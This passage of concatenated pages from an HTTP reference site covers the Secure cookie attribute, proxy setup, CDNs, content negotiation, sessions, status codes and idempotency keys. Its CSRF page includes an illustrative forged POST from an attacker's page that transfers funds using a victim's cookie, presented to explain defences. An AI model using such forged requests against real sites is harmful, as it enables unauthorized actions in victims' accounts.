header](https://howhttpworks.com/headers/set-cookie) - [Cookie security guide](https://howhttpworks.com/guides/cookie-security) --- # Secure > Learn how the Secure cookie attribute ensures cookies are only sent over HTTPS connections. Protect sensitive data from man-in-the-middle attacks. Source: https://howhttpworks.com/cookies/secure Last reviewed: 2026-10-04 > **TL;DR:** `Secure` tells the browser to send the cookie only over HTTPS and to refuse it from insecure responses. Set it on every cookie of an HTTPS site; if cookies vanish behind a load balancer, the app does not know the original request was HTTPS. ## What Secure does and does not do ```http Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/ ``` - The cookie is attached only to requests over HTTPS. A plain `http://` request to the same host will not carry it. - Modern browsers (Chrome, Firefox, Safari) also refuse to accept a `Secure` cookie from an insecure origin ("leave secure cookies alone" in the RFC 6265bis storage model), and refuse to let an HTTP response overwrite an existing `Secure` cookie. This blocks the classic attack where a network attacker injects a cookie via a spoofed HTTP response. - It does not encrypt the value in the browser, hide it from JavaScript (use [HttpOnly](https://howhttpworks.com/cookies/http-only)), or restrict which sites can trigger it (use [SameSite](https://howhttpworks.com/cookies/same-site)). - Port and path are not part of the check: `Secure` is about scheme only, so the cookie is also sent to other HTTPS ports on the same host. ## Localhost Chrome, Edge and Firefox treat `http://localhost` as a secure context, so `Secure` cookies work in development without a certificate. Safari has historically not accepted `Secure` cookies from `http://localhost`, so a login that works in Chrome and silently fails in Safari is a sign to use a local HTTPS certificate (mkcert) or to make the flag conditional on environment. `http://127.0.0.1` and custom hosts like `app.local` are treated differently per browser; do not assume they behave like `localhost`. ## Why Secure cookies disappear behind a proxy TLS usually terminates at nginx, an AWS ALB, or Cloudflare, and the app sees plain HTTP. Frameworks that set `Secure` only on HTTPS requests then silently drop it, or refuse to set the cookie at all. ```javascript // Express: trust the first proxy so req.secure is true when X-Forwarded-Proto: https app.set('trust proxy', 1) app.use(session({ secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: false, cookie: { secure: true, httpOnly: true, sameSite: 'lax' } })) ``` Without `trust proxy`, express-session with `cookie.secure: true` over an HTTP hop does not send `Set-Cookie` at all. That is the usual cause of "session works locally, new session on every request in production". ```nginx location / { proxy_pass http://app; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; } ``` ```python # Django settings.py SESSION_COOKIE_SECURE = True CSRF_COOKIE_SECURE = True SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') ``` ```python # Flask behind a proxy from werkzeug.middleware.proxy_fix import ProxyFix app.wsgi_app = ProxyFix(app.wsgi_app, x_proto=1, x_host=1) app.config.update(SESSION_COOKIE_SECURE=True) ``` ```go // Go net/http http.SetCookie(w, &http.Cookie{ Name: "session", Value: token, Path: "/", Secure: true, HttpOnly: true, SameSite: http.SameSiteLaxMode, }) ``` Cloudflare "Flexible" SSL is a related trap: the browser talks HTTPS to Cloudflare but Cloudflare talks HTTP to your origin. Use Full (strict) and forward `X-Forwarded-Proto`. ## Prefixes: __Secure- and __Host- Cookie name prefixes make the browser enforce attributes at set time: ```http Set-Cookie: __Secure-id=a3fWa; Secure; Path=/ Set-Cookie: __Host-session=abc123; Secure; HttpOnly; Path=/; SameSite=Lax ``` `__Secure-` requires `Secure` and an HTTPS origin. `__Host-` additionally requires `Path=/` and no `Domain` attribute, which pins the cookie to exactly one host and stops sibling subdomains from overwriting it. Prefer `__Host-` for session cookies. See [Domain](https://howhttpworks.com/cookies/domain) and [Path](https://howhttpworks.com/cookies/path). ## Pair it with HSTS A first visit to `http://example.com` is unprotected until the redirect to HTTPS. [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security) makes the browser upgrade to HTTPS before sending any cookie, closing that gap. ## Verify ```bash curl -sI https://example.com/login | grep -i '^set-cookie' # set-cookie: session=...; Path=/; Secure; HttpOnly; SameSite=Lax ``` In Chrome DevTools, Application, Cookies shows the Secure column. In the Network panel, a blocked cookie shows a warning triangle with the reason (for example "This Set-Cookie was blocked because it had the Secure attribute but was not received over a secure connection"). ## Related - [HttpOnly](https://howhttpworks.com/cookies/http-only) - [SameSite](https://howhttpworks.com/cookies/same-site) - [Set-Cookie header](https://howhttpworks.com/headers/set-cookie) - [Cookie security guide](https://howhttpworks.com/guides/cookie-security) --- # CDN (Content Delivery Network) > A CDN is a network of edge servers that cache and serve responses near users. See how cache hits show up in headers and what CDNs do not cache by default. Source: https://howhttpworks.com/glossary/cdn Last reviewed: 2026-10-04 > **TL;DR:** A CDN is a fleet of reverse proxies spread across regions that cache your responses and serve them from the nearest edge, so most requests never reach your origin server. A content delivery network (CDN) is a geographically distributed set of caching reverse proxies. Browsers connect to a nearby edge server; on a cache hit the edge answers directly, and on a miss it fetches from your origin, stores the response according to its caching headers, and returns it. ## What a hit looks like ```http HTTP/1.1 200 OK Content-Type: text/css Cache-Control: public, max-age=31536000, immutable Age: 4312 CF-Cache-Status: HIT ``` `Age` is the number of seconds the response has sat in a shared cache, as defined by RFC 9111. The status header is vendor-specific: Cloudflare uses `CF-Cache-Status`, CloudFront uses `X-Cache: Hit from cloudfront` plus `X-Amz-Cf-Id`, and other vendors use their own `X-Cache` variants. No `Age` on a response you expected to be cached usually means a miss or a bypass. ## Non-obvious facts - **A CDN follows your caching headers, then its own rules.** `Cache-Control: s-maxage` applies to shared caches such as CDNs only, so you can give the edge an hour while browsers revalidate every time. `private` and `no-store` keep a response off the edge. - **HTML is often not cached by default.** Cloudflare, for example, caches by file extension and does not cache HTML unless a cache rule says so. If pages are slow, check this before blaming the network. - **`Vary` fragments the cache.** `Vary: Accept-Encoding` is fine; `Vary: User-Agent` or `Vary: Cookie` can drop the hit ratio to near zero because every distinct value gets its own entry. - **A CDN adds another place to debug.** A 502 or 504 may come from the edge, not your server. Compare headers such as `Server`, `Via` and `CF-Ray` with a request made directly to the origin. - **Purging is not instant everywhere.** Invalidations take time to propagate across the network, so versioned asset URLs are more reliable than purging. ## Go deeper - [Cache-Control header](https://howhttpworks.com/headers/cache-control) - [Age header](https://howhttpworks.com/headers/age) - [X-Cache header](https://howhttpworks.com/headers/x-cache) - [Vary header](https://howhttpworks.com/headers/vary) - [Reverse proxy](https://howhttpworks.com/glossary/reverse-proxy) --- # Content Negotiation > Content negotiation lets one URL serve different formats, languages or encodings based on Accept headers. See q-values, Vary, 406 and the caching traps. Source: https://howhttpworks.com/glossary/content-negotiation Last reviewed: 2026-10-04 > **TL;DR:** Content negotiation is one URL, several representations. The client states preferences with `Accept`, `Accept-Language` and `Accept-Encoding`; the server picks one and must list the headers it used in `Vary`. Content negotiation is the HTTP mechanism for choosing among multiple representations of the same resource. In the common server-driven form, the client sends preference headers and the server selects a format, language or encoding, then labels the choice with `Content-Type`, `Content-Language` or `Content-Encoding`. ## An example ```http GET /reports/42 HTTP/1.1 Host: api.example.com Accept: application/json, text/csv;q=0.5, */*;q=0.1 Accept-Language: de-CH, de;q=0.9, en;q=0.5 Accept-Encoding: br, gzip ``` ```http HTTP/1.1 200 OK Content-Type: application/json Content-Language: de Content-Encoding: br Vary: Accept, Accept-Language, Accept-Encoding ``` ## How the choice is made - Each header lists options with optional quality values from 0 to 1. No `q` means 1; `q=0` means "never". - More specific ranges beat less specific ones regardless of order. `text/html;level=1` overrides `text/html`, which overrides `text/*`, which overrides `*/*`. - `Accept-Encoding` is the one negotiation that every site does, and compression is applied after the representation is chosen. ## Non-obvious facts - **`Vary` is not optional.** A CDN or browser that caches a negotiated response without `Vary` will serve the wrong variant to the next user. The reverse, `Vary: User-Agent` or `Vary: Cookie`, fragments the cache into near-useless pieces; normalize the header at the edge or negotiate on something narrower. - **406 is rarely what you want.** RFC 9110 allows the server to send a default representation instead of a 406, and most do. Browsers send `*/*` anyway, so a 406 mostly appears on API endpoints with a strict `Accept`. - **A file extension or query parameter is often better for caches.** `/reports/42.csv` is cacheable, linkable and easy to test with `curl`, while `Accept` negotiation is invisible in the URL. - **Languages are a bad place for surprises.** Redirecting by `Accept-Language` alone breaks sharing and crawling; many sites offer a language switcher and treat the header as a hint. - **Request bodies have the mirror image.** A client's `Content-Type` that the server does not accept yields `415 Unsupported Media Type`, not 406. ## Go deeper - [Accept header](https://howhttpworks.com/headers/accept) - [Accept-Language header](https://howhttpworks.com/headers/accept-language) - [Accept-Encoding header](https://howhttpworks.com/headers/accept-encoding) - [Vary header](https://howhttpworks.com/headers/vary) - [406 Not Acceptable](https://howhttpworks.com/status-codes/406) - [Content negotiation guide](https://howhttpworks.com/guides/content-negotiation): how servers pick a representation, real server examples, and CDN caching. --- # CSRF (Cross-Site Request Forgery) > CSRF tricks a logged-in browser into sending an unwanted request to your site. See how it works, why CORS does not stop it and which defenses actually do. Source: https://howhttpworks.com/glossary/csrf Last reviewed: 2026-10-04 > **TL;DR:** CSRF works because browsers attach cookies automatically, even to requests triggered by another site. Defend with `SameSite` cookies plus a CSRF token or `Origin` check on every state-changing request. Cross-site request forgery (CSRF) is an attack in which a malicious page makes a victim's browser send a request to a site where the victim is logged in. Because the browser includes that site's cookies automatically, the request is authenticated, and the server cannot tell it from a deliberate action unless it checks for something the attacker cannot supply. ## How it plays out A page on `evil.example` contains a self-submitting form: ```html ``` If `bank.example` uses a session cookie without `SameSite` protection and checks nothing else, the request arrives like this: ```http POST /transfer HTTP/1.1 Host: bank.example Origin: https://evil.example Cookie: session=abc123 Content-Type: application/x-www-form-urlencoded to=attacker&amount=1000 ``` The `Origin` header gives the game away, but only if the server looks at it. ## Defenses that work - **Reject on `Origin` or `Sec-Fetch-Site`.** For state-changing methods, require `Origin` to match your own origin, or `Sec-Fetch-Site` to be `same-origin` (or `none`). - **CSRF tokens.** A per-session or per-request random value in a hidden field or custom header that the attacker cannot read. - **`SameSite=Lax` or `Strict` on the session cookie.** Chromium treats a missing attribute as `Lax`; Firefox and Safari do not by default, so set it explicitly. - **Use safe methods only for reading.** Lax cookies are sent on top-level `GET` navigations, so a `GET /delete?id=5` endpoint is still exploitable. ## Non-obvious facts - **CORS is not a CSRF defense.** A cross-origin form POST or a "simple" `fetch` is sent whether or not CORS headers allow reading the response. - **A custom header works as a defense** (for example `X-Requested-With`) because adding one forces a preflight, which the attacker's origin will fail. It only holds if CORS is configured strictly. - **Same-site is not same-origin.** A compromised sibling subdomain is same-site, so `SameSite` will not help; see [Same-Site vs Same-Origin](https://howhttpworks.com/glossary/same-site). - **Login CSRF exists too.** An attacker can log the victim into the attacker's account, so protect the login form as well. ## Go deeper - [SameSite cookie attribute](https://howhttpworks.com/cookies/same-site) - [Cookie security guide](https://howhttpworks.com/guides/cookie-security) - [Origin header](https://howhttpworks.com/headers/origin) - [HTTP cookie](https://howhttpworks.com/glossary/cookie) --- # HTTP Cookie > Learn what HTTP cookies are and how browsers store small data pieces for websites. Understand cookie attributes, security, and session management. Source: https://howhttpworks.com/glossary/cookie Last reviewed: 2026-10-04 > **TL;DR:** Cookies are how a browser remembers small pieces of state for a site between requests. They are simple in concept, but a lot of authentication and security behavior depends on them. An HTTP cookie is a small name-value pair that a server asks the browser to store and send back later. Cookies are one of the main ways the web adds continuity to a protocol that is otherwise stateless. ## Why Cookies Exist Without cookies, every request would look like it came from a stranger. A site would not easily remember: - whether you are signed in - what is in your shopping cart - which language or theme you prefer - whether you already dismissed a notice or completed a step That is why cookies show up in everything from login flows to basic preferences. ## How Cookies Move Through HTTP The server sets a cookie in the response: ```http Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax ``` The browser stores it and later sends it back on matching requests: ```http Cookie: sessionId=abc123 ``` That round trip is what makes sessions and browser state work. ## The Attributes Matter More Than People Expect Most cookie bugs are not about the cookie value. They are about the attributes: - `Secure`: only send it over HTTPS - `HttpOnly`: do not expose it to JavaScript - `SameSite`: control cross-site sending behavior - `Domain`: decide which hosts can receive it - `Path`: limit it to part of the site - `Expires` or `Max-Age`: decide how long it lasts When a cookie “exists” in DevTools but still does not behave correctly, one of those attributes is usually the reason. ## A Helpful Mental Model Think of a cookie as two things at once: - stored browser state - an instruction set about when that state is allowed to travel The second part is why cookies are powerful and why they are easy to misconfigure. ## Security Is Not Optional Here Authentication cookies deserve extra care because browsers attach them automatically. If you do not set attributes intentionally, you can create avoidable XSS, CSRF, or session leakage problems. For session cookies, a strong default is usually: - `Secure` - `HttpOnly` - a deliberate `SameSite` choice **Related:** [Session](https://howhttpworks.com/glossary/session) • [Header](https://howhttpworks.com/glossary/header) • [Response](https://howhttpworks.com/glossary/response) --- # HTTP Error Handling > Learn HTTP error handling best practices for detecting, managing, and responding to errors gracefully. Understand status codes, retry logic, and user feedback. Source: https://howhttpworks.com/glossary/error-handling Last reviewed: 2026-10-04 > **TL;DR:** HTTP error handling is the discipline of turning failures into clear protocol signals and usable client behavior instead of vague breakage. Good error handling is not just “returning an error message.” It means making the status code, headers, body, retry behavior, and user experience all tell the same story. ## What Good Error Handling Actually Means At a minimum, a good HTTP error flow should answer: - did the client send something invalid - did authentication or authorization fail - is the problem temporary - should the client retry, redirect, fix input, or stop If the response does not make that clear, the client has to guess. ## The First Split: 4xx vs 5xx - **4xx** means the request cannot succeed as sent in the current client context - **5xx** means the request was reasonable, but the server or one of its dependencies failed anyway That distinction drives almost everything else: - who owns the fix - whether retry makes sense - what message the UI should show - what your logs and alerts should mean ## Error Bodies Should Help, Not Fight The Protocol The worst pattern is a mismatch between protocol and payload. Bad: ```http HTTP/1.1 200 OK {"error":"validation failed"} ``` Better: ```http HTTP/1.1 422 Unprocessable Content Content-Type: application/json {"error":"validation_failed","fields":{"email":"invalid"}} ``` The second example gives both humans and clients something reliable to work with. ## Retry Logic Needs Intention Not every failure deserves a retry. - validation errors usually should not retry - expired auth may need re-authentication, not blind repetition - `502`, `503`, and `504` may justify retries with backoff - `429` should be handled with rate-limit awareness, often using `Retry-After` That is why error handling is part protocol design and part product behavior. ## User-Facing Behavior Still Matters Good systems translate protocol failures into useful UX: - `401`: take the user to login and preserve return path - `404`: show recovery links, not a dead end - `500`: acknowledge failure without blaming the user - network failure: offer retry or offline guidance The protocol should help the product behave calmly under failure, not just satisfy the backend. **Related:** [Status Code](https://howhttpworks.com/glossary/status-code) • [Response](https://howhttpworks.com/glossary/response) • [Request](https://howhttpworks.com/glossary/request) --- # HTTP Header > Learn what HTTP headers are and how they provide metadata about requests and responses. Understand common headers like Content-Type and Authorization. Source: https://howhttpworks.com/glossary/header Last reviewed: 2026-10-04 > **TL;DR:** Headers are the short notes attached to an HTTP message. They do not usually contain the main content, but they often explain why the message behaves the way it does. An HTTP header is a named field attached to a request or response. If the URL tells you what resource is involved and the body carries the actual content, headers tell you how to interpret that content and what rules apply to it. ## Why Headers Matter So Much When something in HTTP feels surprising, the explanation is often in the headers: - a cache served stale content because `Cache-Control` or `ETag` allowed it - a request failed because `Authorization` or `Cookie` was missing - a browser blocked behavior because of `Content-Security-Policy` or `Permissions-Policy` - a client parsed the body differently because `Content-Type` was wrong That is why experienced developers open DevTools headers before they read the response body. ## Request Headers vs Response Headers **Request headers** tell the server about the client and the request context. Common examples: - `Accept`: what formats the client can handle - `Authorization`: credentials or tokens - `Cookie`: state the browser is sending back - `Origin`: which origin (scheme, host and port) initiated the request **Response headers** tell the client how to handle what came back. Common examples: - `Content-Type`: what kind of body this is - `Cache-Control`: whether it can be cached - `Set-Cookie`: store state for later requests - `Location`: where to go next after a redirect or creation response ## A Quick Example ```http GET /api/profile HTTP/1.1 Host: app.example.com Accept: application/json Authorization: Bearer token123 ``` The request above says: - send the `/api/profile` resource - return JSON if possible - treat me as the user represented by this token And the server might respond like this: ```http HTTP/1.1 200 OK Content-Type: application/json Cache-Control: private, max-age=60 ``` Now the client knows both what the payload is and how long it can safely reuse it. ## The Practical Mental Model A useful shorthand is: - method = what you want to do - URL = what you want to do it to - headers = the rules and context - body = the actual data That model is simple, but it is good enough to debug a surprising amount of HTTP behavior. **Related terms:** [HTTP Request](https://howhttpworks.com/glossary/request), [HTTP Response](https://howhttpworks.com/glossary/response), [HTTP Cookie](https://howhttpworks.com/glossary/cookie) --- # HTTP Method > Learn what HTTP methods are and how they define actions on resources. Understand GET, POST, PUT, DELETE, PATCH, and other methods with examples. Source: https://howhttpworks.com/glossary/method Last reviewed: 2026-10-05 > **TL;DR:** The HTTP method is the verb in a request (GET, POST, PUT, PATCH, DELETE) that tells the server what to do with the resource the URL points at. Method names are case-sensitive, and the method decides whether a request is safe to retry or cache. ## Why Method Choice Matters Clients and caches act on the method. If a response gets lost, a client can retry an idempotent request like PUT, but can't assume repeating a POST is harmless. Caches check the method before storing or reusing a response. [RFC 9110 §9.1](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.1) makes method names case-sensitive, and the standard ones are uppercase. To HTTP, `PATCH` and `patch` are two different methods. ## The Methods Most Developers Meet First | Method | Requested operation | | --- | --- | | [GET](https://howhttpworks.com/methods/get) | Retrieve a representation. | | [HEAD](https://howhttpworks.com/methods/head) | Retrieve its metadata without response content. | | [POST](https://howhttpworks.com/methods/post) | Process submitted content under the target's rules. | | [PUT](https://howhttpworks.com/methods/put) | Create or replace state at the target URL. | | [PATCH](https://howhttpworks.com/methods/patch) | Apply a change document. | | [DELETE](https://howhttpworks.com/methods/delete) | Remove the resource at the URL. | | [OPTIONS](https://howhttpworks.com/methods/options) | Describe communication options. | POST isn't only for creating things; it covers any processing the endpoint defines. PUT can create a resource as well as replace one. What PATCH does depends on the patch format the endpoint accepts. ## A Simple Example Here's the same URL with two different methods, against an example API: ```bash curl -i 'https://api.example.com/documents/notes' curl -i -X DELETE 'https://api.example.com/documents/notes' ``` And a partial update on that URL, if the API accepts JSON Merge Patch: ```bash curl -i -X PATCH 'https://api.example.com/documents/notes' \ -H 'Content-Type: application/merge-patch+json' \ --data '{"title":"Reviewed notes"}' ``` The URL never changes. Only the method does, and that changes what you're asking the server to do, assuming the endpoint supports it. ## Safe And Idempotent Are Different A safe method asks for no state change, though the server might still log it. GET, HEAD, OPTIONS, and TRACE are safe. PUT and DELETE aren't safe, but they are idempotent: repeat the same request and you end up in the same state. The responses can still differ. POST and PATCH aren't idempotent in general, though you can design a specific operation to be. ## The Common Real-World Mistake The classic mistake is putting a change behind a GET, like `GET /documents/notes?delete=true`. Crawlers and prefetchers follow GET links freely, so one can delete your data without anyone clicking. Use DELETE or POST. If the server knows the method but the resource doesn't support it, return [405](https://howhttpworks.com/status-codes/405) with an `Allow` header listing what is supported; `Allow` is required there. For a method the server doesn't recognize or implement at all, return [501](https://howhttpworks.com/status-codes/501). And listing a method in an OPTIONS response isn't permission to use it; check authorization on the real request. ## Related - [Idempotent](https://howhttpworks.com/glossary/idempotent) - [HTTP Request](https://howhttpworks.com/glossary/request) --- # HTTP Payload > Learn what HTTP payload means and how message bodies carry data in requests and responses. Understand JSON, form data, and binary payloads. Source: https://howhttpworks.com/glossary/payload Last reviewed: 2026-10-04 > **TL;DR:** The payload is the part of an HTTP message that carries the real content you care about, whether that is JSON, HTML, form fields, or a file. When developers say “payload,” they usually mean the useful data inside the message body. That might be a JSON document sent to an API, the HTML returned for a page, or binary bytes representing an image download. ## Why The Term Comes Up You will usually hear “payload” in situations like: - “the payload was valid JSON, but the header said `text/plain`” - “the request had no payload, so the bug must be in the query params or headers” - “the response payload is huge, so compression and caching matter” In other words, the word shows up when the content itself matters more than the routing or metadata around it. ## Payload vs Headers A useful split is: - **headers** describe the message - **payload** is the content being carried Example: ```http POST /api/users HTTP/1.1 Content-Type: application/json {"name":"Jordan","email":"jordan@example.com"} ``` In that request: - `Content-Type` is metadata - the JSON object is the payload ## Request Payloads And Response Payloads **Request payloads** are what the client sends to the server: - form fields - JSON for an API mutation - uploaded files **Response payloads** are what the server sends back: - HTML pages - JSON responses - images, PDFs, and other file content That is why payload is a more general term than “request body.” It applies in both directions. Note that RFC 9110 itself says "content" for this part of a message; "payload" is the everyday term you will see in docs and tools. ## Why Payloads Cause Real Bugs Plenty of HTTP bugs are payload bugs in disguise: - the payload format is right, but the `Content-Type` is wrong - the client sends JSON, but the server expects form data - the payload is compressed or encoded unexpectedly - the body is empty even though the frontend thought it sent data When that happens, the fastest fix often comes from checking the raw request or response rather than the application code first. **Related terms:** [HTTP Request](https://howhttpworks.com/glossary/request), [HTTP Response](https://howhttpworks.com/glossary/response), [HTTP Header](https://howhttpworks.com/glossary/header) --- # HTTP Request > Learn what an HTTP request is and how clients send messages to servers. Understand request structure, methods, headers, and body components. Source: https://howhttpworks.com/glossary/request Last reviewed: 2026-10-04 > **TL;DR:** An HTTP request is the message a client sends when it wants something from a server, whether that means loading a page, fetching API data, or submitting a form. An HTTP request is the start of almost every interaction on the web. A browser sends one when you click a link. A frontend app sends one when it calls an API. A script sends one when it uploads a file or polls for status. ## What A Request Is Really Saying At a high level, every request answers four questions: - what action do you want - which resource are you talking about - what context or rules matter - are you sending any data along with it That maps directly to the parts of the request: - **method**: `GET`, `POST`, `PUT`, `DELETE`, and so on - **target**: the URL or path - **headers**: metadata like accepted formats, auth, cookies, and caching context - **body**: optional content such as JSON, form fields, or binary data ## A Simple Example ```http POST /api/login HTTP/1.1 Host: app.example.com Content-Type: application/json {"email":"dev@example.com","password":"secret"} ``` That request is saying: - perform a `POST` - send it to `/api/login` - interpret the body as JSON - here is the data you need to process ## Why Requests Matter In Debugging A lot of HTTP bugs are not response bugs. They begin with the wrong request: - wrong method, so the route does not match - missing `Authorization`, so the server returns `401` - wrong `Content-Type`, so the backend fails to parse the body - a cross-origin call, so the browser enforces CORS rules and may send a preflight first - stale cookies, so a session appears to belong to a different user When you inspect a bug, start by confirming the request you think you sent is the request that actually went over the wire. ## Request Body Or No Request Body Not every request includes a body. - `GET` and `HEAD` usually do not - `POST`, `PUT`, and `PATCH` often do - `DELETE` may or may not, depending on the API contract That is one reason method choice matters so much: clients, frameworks, caches, and browsers make assumptions based on it. ## Good Practical Habit If you are learning HTTP, read requests left to right: 1. method 2. path 3. interesting headers 4. body That habit turns noisy network traces into something you can reason about quickly. **Related terms:** [HTTP Response](https://howhttpworks.com/glossary/response), [HTTP Method](https://howhttpworks.com/glossary/method), [HTTP Header](https://howhttpworks.com/glossary/header) --- # HTTP Response > Learn what an HTTP response is and how servers reply to client requests. Understand response structure, status codes, headers, and body content. Source: https://howhttpworks.com/glossary/response Last reviewed: 2026-10-05 > **TL;DR:** An HTTP response is the server's answer to a request: a status code (like `200` or `404`), headers, and usually a body. Read all three. A `202` means the work hasn't finished yet, and a `204` or HEAD response has no body to parse. ## The Three Parts Most People Need First The status code tells you how the request went. Headers describe the body and how to handle it: type, length, caching, cookies. The body is the payload: HTML, JSON, a file, or an error message. In HTTP/1.1, these appear as a status line, header lines, a blank line, and any body. HTTP/2 and HTTP/3 send binary frames with a `:status` pseudo-header instead, so there's no literal `HTTP/1.1 200 OK` line on the wire. See [MDN's HTTP messages guide](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Messages). ## A Simple Example Here's an example HTTP/1.1 response. The JSON is 24 UTF-8 bytes, with no trailing newline: ```http HTTP/1.1 200 OK Date: Mon, 05 Oct 2026 12:00:00 GMT Content-Type: application/json Content-Length: 24 Cache-Control: private, max-age=60 {"id":42,"name":"Avery"} ``` `private` keeps shared caches like CDNs from storing it. `max-age=60` makes it fresh for 60 seconds, measured against the response's age. That sets how long a cached copy stays fresh; whether anything gets cached at all still depends on the other cache rules. ## Why Responses Matter In Practice When something breaks, look at the whole response, not just the JSON. A 401 has to carry a `WWW-Authenticate` challenge. A redirect's `Location` tells the client where to go next. `Set-Cookie` asks the browser to store a cookie, subject to browser policy, and JavaScript can't read it as a response header. ```bash curl -i 'https://example.com/' curl -L -D - -o /dev/null 'https://example.com/' ``` The second command follows redirects and prints the headers of every response along the way, throwing away the final body. ## Not Every Successful Response Looks The Same 201 means a resource was created. 202 means the server accepted the request for processing, but the work isn't done and could fail. 204 means success with no body. Skip `response.json()` for a 204, a HEAD response, or a 304; there's nothing to parse. [RFC 9110 §6.4.1](https://www.rfc-editor.org/rfc/rfc9110.html#section-6.4.1) also excludes content from informational responses. A 304 tells the client or cache to reuse the copy it already has instead of sending a new one. ## Good Practical Habit Fetch resolves normally on HTTP error statuses, so check the status before treating a response as success: ```javascript const response = await fetch('/api/documents') if (!response.ok) throw new Error(`HTTP ${response.status}`) if (response.status !== 204) { console.log(await response.json()) // This API promises JSON for content responses. } ``` If parsing fails on a successful status, compare `response.headers.get('Content-Type')` with the actual body in DevTools. A common culprit is an HTML login page or proxy error page arriving where your API usually returns JSON. Network and CORS failures are different: Fetch rejects before your code ever gets a readable response. DevTools usually shows more about those failures than JavaScript can see. ## Related - [Status Code](https://howhttpworks.com/glossary/status-code) - [CORS](https://howhttpworks.com/guides/cors) --- # HTTP Session > Learn what HTTP sessions are and how they maintain state across stateless HTTP requests. Understand session cookies, tokens, and server-side storage. Source: https://howhttpworks.com/glossary/session Last reviewed: 2026-10-05 > **TL;DR:** A web session associates independent HTTP requests with application state, often through an opaque ID in a cookie. Cookie lifetime and server-side session lifetime are separate; closing a browser is not reliable logout. ## Why Sessions Exist HTTP does not automatically associate two requests with the same logged-in account. An application adds that association. A server-side session can hold a user ID or cart while the browser carries only an identifier. HTTP connection reuse is not a login session. For a multi-step form, the record can hold a draft ID while each page submits the same cookie. Verify ownership again when saving the draft; knowing its ID or finding it in a session does not replace the application's access checks. ## How Sessions Usually Work After authenticating, the server creates a session record and sets a cookie. Illustrative header, where `opaque-session-id` stands for a randomly generated value: ```http Set-Cookie: __Host-session=opaque-session-id; Path=/; Secure; HttpOnly; SameSite=Lax ``` A later eligible request carries: ```http Cookie: __Host-session=opaque-session-id ``` The browser does not echo `Secure`, `Path`, or `SameSite` in Cookie. The server uses the ID to find state and checks whether that session is still valid. ## The Important Distinction “Session cookie” means a cookie without `Expires` or `Max-Age`, not necessarily a cookie containing a session ID. An authentication cookie can be persistent; a session cookie can hold a preference instead. Browser session restoration can restore session cookies after a restart. Sessions can also keep state in a signed cookie or token. Server-side storage is a common implementation, not the definition of every session. The [Set-Cookie reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) explains cookie lifetime and prefix rules. ## Why Session Bugs Feel Weird If login disappears on the next request, first check whether the response set a cookie and whether the next request sent it. Then check domain, path, Secure, SameSite, and the server-side record. Cross-origin Fetch needs `credentials: 'include'` for cookies, plus appropriate CORS permission. Cross-origin and cross-site are different tests. A load-balanced application can send a valid ID to a server that cannot find the record if its session store is process-local. ## Security Matters Here Secure restricts transport to secure connections; HttpOnly prevents direct JavaScript access to the cookie. It does not stop injected scripts from making authenticated requests. Rotate the session ID after authentication and enforce expiration and logout in the server-side store. [RFC 6265bis](https://datatracker.ietf.org/doc/draft-ietf-httpbis-rfc6265bis/) remains work in progress in the RFC Editor queue as of this review; do not present its draft number as a published RFC. ## Related - [Sessions and state](https://howhttpworks.com/guides/sessions-and-state) - [Set-Cookie](https://howhttpworks.com/headers/set-cookie) --- # HTTP Status Code > Learn what HTTP status codes are and how they indicate request results. Understand 1xx, 2xx, 3xx, 4xx, and 5xx code classes with common examples. Source: https://howhttpworks.com/glossary/status-code Last reviewed: 2026-10-05 > **TL;DR:** An HTTP status code is the three-digit number in every response that says how the request went. The first digit is the class: 1xx informational, 2xx success, 3xx redirect, 4xx client error, 5xx server error. Read it with the method and headers; a 5xx on a write doesn't tell you whether a retry is safe. ## The Five Classes [RFC 9110 §15](https://www.rfc-editor.org/rfc/rfc9110.html#section-15) defines the classes: - 1xx: informational response during the exchange. - 2xx: the request was received, understood and accepted. - 3xx: further action is needed, such as a redirect or cache validation. - 4xx: the request looks like it has a client error. - 5xx: the server failed to fulfill an apparently valid request. The class is where diagnosis starts, not where it ends. A 4xx can come from a server misconfiguration, and a write may have landed before a 5xx. ## Why Status Codes Matter Clients use the status to decide what to do next: follow a redirect, ask for credentials, reuse a stored representation, or show an error. A client that gets an unknown code treats it like the x00 code of its class, except that it must not cache the response. So a client that has never seen 471 handles it like 400, without guessing what the last two digits mean. ## Common Examples 200 means success, in the sense the method defines. 201 means something was created. 202 means accepted but not finished. 204 forbids response content. 304 answers a conditional GET or HEAD without content; the client uses its stored copy. 401 means the request lacks valid credentials, and it must carry a `WWW-Authenticate` challenge. 403 means the server understood the request and refuses it, whether or not it knows who you are. 404 means no current representation, or the server won't say whether one exists. 500 reports an unexpected server condition. ## The Human Way To Read Them Look at the headers, not just the status: ```bash curl -i 'https://api.example.com/documents/notes' ``` A 405 should come with `Allow`. A 401 should come with a challenge. A 412 on a conditional write means your precondition failed. For a 202, check the API's status URL before treating the job as done. ## A Common Mistake Fetch doesn't reject on a 404 or 500. Check it yourself: ```javascript const response = await fetch('/api/documents/notes') if (!response.ok) throw new Error(`HTTP ${response.status}`) ``` Be selective about retrying 5xx responses. If the server committed a POST and then failed while sending the result, a retry runs the action twice. Whether a retry is safe depends on the method and the API's deduplication contract as much as the status. ## Related - [HTTP Response](https://howhttpworks.com/glossary/response) - [Idempotent](https://howhttpworks.com/glossary/idempotent) --- # Idempotency Key (Safe POST Retries) > An Idempotency-Key header lets a client safely retry a POST: the server stores the first result and replays it. Learn the protocol, edge cases and conflicts. Source: https://howhttpworks.com/glossary/idempotency-key Last reviewed: 2026-10-04 > **TL;DR:** `POST` is not idempotent, so a retry after a timeout can create a duplicate. An idempotency key makes it safe: the client sends a unique key, the server stores the first result under it and replays that result on repeats. An idempotency key is a unique identifier, sent in an `Idempotency-Key` header, that lets a server recognize repeated attempts at the same logical operation and execute it only once. It gives non-idempotent methods like `POST` the retry safety that [idempotent](https://howhttpworks.com/glossary/idempotent) methods like `PUT` have by definition. ## The exchange ```http POST /v1/payments HTTP/1.1 Host: api.example.com Idempotency-Key: 8e03978e-40d5-43e8-bc93-6894a57f9324 Content-Type: application/json {"amount": 4200, "currency": 